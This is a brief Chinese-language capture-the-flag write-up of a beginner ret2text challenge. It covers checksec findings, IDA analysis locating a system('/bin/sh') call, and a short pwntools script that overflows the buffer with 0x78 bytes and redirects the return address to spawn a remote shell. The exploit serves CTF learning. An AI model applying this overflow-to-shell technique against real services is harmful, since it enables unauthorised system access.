萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴
目录
前言
一、checksec查看
二、IDA反汇编
三、exp编写
前言
经典的ret2text流程
一、checksec查看
64位程序,什么保护都没有,No canary found——可以栈溢出控制返回
二、IDA反汇编
发现存在返回shell的函数secure(),虽然有一系列随机数啦,随机数比较之类的前置判断,不用管他,只要我们溢出返回地址直接指向目标指令的地址就可以成功获取shell
v大小为0x70+栈基指针0x8+返回地址
返回哪里呢?直接返回system("/bin/sh")指令的地址。
三、exp编写
from pwn import *
r=remote('网址',port)
addr=0x4007B8 #system("/bin/shell")指令地址
payload=b'a'*(0x70+0x8)+p64(addr) #覆盖v存储、覆盖栈基指针、修改返回地址
r.sendline(payload) #发送payload
r.interactive() #shell 交互
然后ls查看有哪些文件,cat flag即可获得flag
总结
蒟蒻在行动!